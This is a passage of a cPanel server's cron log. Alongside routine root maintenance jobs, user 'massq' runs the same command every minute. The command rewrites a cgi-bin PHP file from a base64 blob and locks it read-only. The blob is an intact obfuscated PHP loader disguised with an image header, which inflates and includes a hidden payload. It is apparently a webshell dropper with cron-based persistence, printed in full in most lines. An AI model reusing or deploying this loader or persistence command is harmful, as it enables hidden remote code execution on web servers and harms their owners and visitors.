cvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:27:01 server CROND[6645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:27:01 server CROND[6644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:27:01 server CROND[6646]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 14:27:01 server CROND[6647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:28:01 server CROND[7045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:28:01 server CROND[7046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:28:01 server CROND[7047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:29:01 server CROND[7478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:29:01 server CROND[7479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:29:01 server CROND[7480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:30:01 server CROND[7973]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 14:30:01 server CROND[7974]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 14:30:01 server CROND[7975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:30:01 server CROND[7979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:30:01 server CROND[7980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:30:01 server CROND[7976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:30:01 server CROND[7977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:30:01 server CROND[7982]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 14:31:01 server CROND[8864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:31:01 server CROND[8865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:31:01 server CROND[8866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:32:01 server CROND[9256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:32:01 server CROND[9257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:32:01 server CROND[9259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:33:01 server CROND[9647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:33:01 server CROND[9648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:33:01 server CROND[9649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:34:01 server CROND[10026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:34:01 server CROND[10027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:34:01 server CROND[10028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:35:01 server CROND[10422]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:35:01 server CROND[10425]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 14:35:01 server CROND[10426]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 14:35:01 server CROND[10430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:35:01 server CROND[10428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:35:01 server CROND[10429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:35:01 server CROND[10424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:35:01 server CROND[10432]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 14:35:01 server CROND[10431]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 14:36:01 server CROND[11371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:36:01 server CROND[11372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:36:01 server CROND[11373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:37:01 server CROND[11747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:37:01 server CROND[11748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:37:01 server CROND[11749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 14:38:01 server CROND[12141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:38:01 server CROND[12142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:38:01 server CROND[12143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
